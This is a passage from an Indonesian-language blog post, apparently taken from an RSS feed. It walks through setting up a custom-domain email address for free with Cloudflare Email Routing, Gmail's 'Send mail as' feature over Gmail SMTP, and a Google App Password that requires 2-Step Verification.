Tujuan langkah ini adalah agar Cloudflare bisa mengatur DNS dan email routing.</p>
<p>Buka <a href="https://cloudflare.com">https://cloudflare.com</a>
Daftar dan login
Klik “Add Site”
Masukkan domain kamu
Pilih plan Free
Ikuti proses sampai Cloudflare memberikan nameserver baru
Note:
Kalau bingung bisa lihat tutor via : <a href="https://www.jagoanhosting.com/tutorial/vps/mendaftar-cloudflare">https://www.jagoanhosting.com/tutorial/vps/mendaftar-cloudflare</a></p>
<p>Selain itu, pastikan mempunyai atau memiliki kredit card untuk proses registrasi, bisa pakai domain</p>
<p>Setelah itu:</p>
<ol>
<li>Masuk ke dashboard tempat kamu beli domain</li>
<li>Ganti nameserver domain ke nameserver yang diberikan Cloudflare</li>
<li>Tunggu propagasi (biasanya beberapa menit sampai beberapa jam)</li>
<li>Jika sudah aktif, domain kamu sekarang dikontrol oleh Cloudflare.</li>
</ol>
<p>Note:
Kalau bingung bisa cek via: <a href="https://developers.cloudflare.com/fundamentals/manage-domains/add-site/">https://developers.cloudflare.com/fundamentals/manage-domains/add-site/</a></p>
<p>Langkah 3 — Aktifkan Email Routing di Cloudflare
Sekarang kita atur agar email custom masuk ke Gmail.</p>
<p>Masuk ke dashboard Cloudflare</p>
<ol>
<li>Pilih domain kamu</li>
<li>Buka menu “Email”</li>
<li>Aktifkan Email Routing (jika diminta, ikuti wizard setup)
Tambahkan alamat email baru:</li>
</ol>
<ul>
<li>Custom address: misalnya <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a></li>
<li>Destination address: Gmail asli kamu (misalnya <a href="mailto:namakamu@gmail.com">namakamu@gmail.com</a>)
Simpan.</li>
</ul>
<p>Mulai sekarang, setiap email ke <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a> akan masuk ke inbox Gmail kamu.</p>
<p>Sampai tahap ini, kamu sudah bisa menerima email custom. Tapi belum bisa mengirim dari alamat itu.</p>
<p>Langkah 4 — Tambahkan “Send Mail As” di Gmail
Ini bagian penting agar saat kamu membalas email, pengirim melihatnya berasal dari alamat domain kamu, bukan Gmail.</p>
<p>Join The Writer's Circle event
Catatan: lakukan lewat komputer, bukan aplikasi Gmail di HP.</p>
<ol>
<li>Buka Gmail di browser</li>
<li>Klik ikon gear di kanan atas</li>
<li>Klik “See all settings”</li>
<li>Buka tab “Accounts and Import”</li>
<li>Di bagian “Send mail as”, klik “Add another email address”</li>
<li>Isi:
Name: nama kamu atau nama brand
Email address: <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a>
Klik Next.</li>
</ol>
<p>Langkah 5 — Setting SMTP Gmail
Gmail akan meminta detail SMTP. Isi seperti ini:</p>
<p>SMTP Server: smtp.gmail.com
Port: 587
Username: email Gmail asli kamu (misalnya <a href="mailto:namakamu@gmail.com">namakamu@gmail.com</a>)
Password: App Password (bukan password Gmail biasa)
Di sini banyak orang salah karena memasukkan password Gmail biasa. Itu tidak akan berhasil. Kamu harus pakai App Password.</p>
<p>App Password adalah password khusus yang dibuat Google untuk aplikasi eksternal seperti SMTP.</p>
<p>Syarat utama: 2-Step Verification harus aktif.</p>
<p>Langkah 6 — Aktifkan 2-Step Verification
Buka <a href="https://myaccount.google.com">https://myaccount.google.com</a>
Klik menu “Security”
Cari “2-Step Verification”
Aktifkan dan selesaikan prosesnya
Setelah aktif, baru kamu bisa membuat App Password.</p>
<p>Langkah 7 — Buat App Password
Masih di menu Security:</p>
<p>Klik “App Passwords”
Select app → pilih “Mail”
Select device → pilih “Other”
Beri nama, misalnya: Gmail SMTP
Klik Generate
Google akan menampilkan password 16 karakter.</p>
<p>Salin password itu dan gunakan sebagai password SMTP di pengaturan Gmail tadi.</p>
<p>Jangan gunakan password Gmail biasa.</p>
<p>Langkah 8 — Verifikasi Email Custom
Setelah setting SMTP selesai:</p>
<p>Gmail akan mengirim email konfirmasi ke <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a>
Karena sudah di-forward, email itu masuk ke inbox Gmail kamu
Buka email tersebut
Klik link verifikasi
Selesai.</p>
<p>Sekarang kamu bisa kirim email dari alamat custom.</p>
<p>Cara Mengirim Email dari Alamat Custom
Saat menulis email baru di Gmail:</p>
<p>Klik bagian “From”
Pilih alamat email custom kamu
Kirim seperti biasa
Penerima akan melihat email berasal dari <a href="mailto:halo@domainkamu.com">halo@domainkamu.com</a>.</p>
<p>Kapan Metode Ini Cocok?
Cocok untuk:</p>
<ul>
<li>Freelancer</li>
<li>Personal branding</li>
<li>UMKM</li>
<li>Side project</li>
<li>Portfolio</li>
<li>Startup tahap awal</li>
</ul>
<p>Kurang cocok jika kamu butuh:</p>
<ul>
<li>Banyak user dalam satu domain</li>
<li>Kontrol admin terpusat</li>
<li>Storage besar untuk tim</li>
<li>Fitur enterprise</li>
</ul>
<p>Untuk kebutuhan tersebut, Google Workspace memang lebih tepat.</p>
<h2>Penutup dan Kesimpulan</h2>
<p>Dengan satu domain murah dan sedikit pengaturan:</p>
<ul>
<li>Kamu bisa punya email profesional</li>
<li>Bisa menerima dan mengirim dari domain sendiri</li>
<li>Tanpa biaya bulanan</li>
<li>Tanpa server email sendiri</li>
<li>Tanpa sistem yang rumit</li>
<li>Struktur kerjanya sederhana:</li>
<li>Domain → Cloudflare Email Routing → Gmail → SMTP Gmail</li>
</ul>
<p>Kalau diikuti langkah demi langkah seperti di atas, seharusnya tidak membingungkan.</p>
<p>Note:
Jika ada pertanyaan seputar guide atau langkah-langkah bisa hubungi saya via <a href="mailto:contact@codebijak.my.id">contact@codebijak.my.id</a></p>
<p>Kita bisa saling berdiskusi dan bertukar pikiran :)</p>
]]></content:encoded></item></channel></rss>